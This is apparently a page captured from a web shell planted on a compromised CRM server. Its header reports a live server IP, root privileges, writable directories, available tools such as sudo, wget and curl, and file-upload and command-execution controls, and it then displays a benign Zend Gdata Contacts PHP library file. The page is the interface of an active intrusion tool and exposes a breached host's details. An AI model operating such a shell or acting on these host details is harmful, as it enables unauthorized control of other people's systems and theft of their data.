403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.54
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/soltelcocrm/include/Zend/Gdata/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/soltelcocrm/include/Zend/Gdata/Contacts.php
<?php

/**
 * https://github.com/prasad83/Zend-Gdata-Contacts
 * @author prasad
 * 
 * LICENSE
 *
 * This source file is subject to the new BSD license that is bundled
 * with this package in the file LICENSE.txt.
 * It is also available through the world-wide-web at this URL:
 * http://framework.zend.com/license/new-bsd
 * If you did not receive a copy of the license and are unable to
 * obtain it through the world-wide-web, please send an email
 * to license@zend.com so we can send you a copy immediately.
 *
 * @category   Zend
 * @package    Zend_Gdata
 * @subpackage Contacts
 */
require_once 'Zend/Gdata.php';
require_once 'Zend/Gdata/Contacts/ListFeed.php';
require_once 'Zend/Gdata/Contacts/ListEntry.php';
require_once 'Zend/Gdata/Contacts/Query.php';

class Zend_Gdata_Contacts extends Zend_Gdata {

	const CONTACTS_MAJOR_PROTOCOL_VERSION = 3;
	const CONTACTS_MINOR_PROTOCOL_VERSION = 0;
	
	const CONTACTS_FEED_URI = 'https://www.google.com/m8/feeds/contacts';
	const CONTACTS_POST_URI = 'https://www.google.com/m8/feeds/contacts/default/full';
	const AUTH_SERVICE_NAME = 'cp';
	
	protected $_projection = 'full';
	protected $_visibility = 'private';
    
   	protected $_registeredPackages = array('Zend_Gdata_Contacts');

	protected $_defaultPostUri = self::CONTACTS_POST_URI;

	public static $namespaces = array(
		array('gd', 'http://schemas.google.com/g/2005', self::CONTACTS_MAJOR_PROTOCOL_VERSION, self::CONTACTS_MINOR_PROTOCOL_VERSION)
	);

	public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0') {
		$this->registerPackage('Zend_Gdata_Contacts');
		$this->registerPackage('Zend_Gdata_Contacts_Extension'); // used for new* creation
		parent::__construct($client, $applicationId);
		
		$this->setMajorProtocolVersion(self::CONTACTS_MAJOR_PROTOCOL_VERSION);
		$this->setMinorProtocolVersion(self::CONTACTS_MINOR_PROTOCOL_VERSION);
		
		$this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
	}


	public function setProjection($value) {
		$this->_projection = $value;
		return $this;
	}
	
	public function getProjection() {
		return $this->_projection;
	}
	
	public function insertContact($contact, $uri=null) {
        	if ($uri == null) {
        	    $uri = $this->_defaultPostUri;
       		 }
        	$newContact = $this->insertEntry($contact, $uri, 'Zend_Gdata_Contacts_ContactEntry');
        	return $newContact;
    	}
	
	public function getContactListFeed($location = null) {
        	if ($location == null) {
       		     $uri = self::CONTACTS_FEED_URI . '/default/full';
        	} else if ($location instanceof Zend_Gdata_Query) {
        	    $uri = $location->getQueryUrl();
       		} else {
            		$uri = $location;
        	}
		
		return parent::getFeed($uri, 'Zend_Gdata_Contacts_ListFeed');
	}
	
	public function getContactListEntry($location = NULL) {
		if ($location == null) {
            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
            throw new Zend_Gdata_App_InvalidArgumentException(
                    'Location must not be null');
        } else if ($location instanceof Zend_Gdata_Query) {
            $uri = $location->getQueryUrl();
        } else {
            $uri = $location;
        }
        return parent::getEntry($uri,'Zend_Gdata_Contacts_ContactEntry');
	}
	 
}

Youez - 2016 - github.com/yon3zu
LinuXploit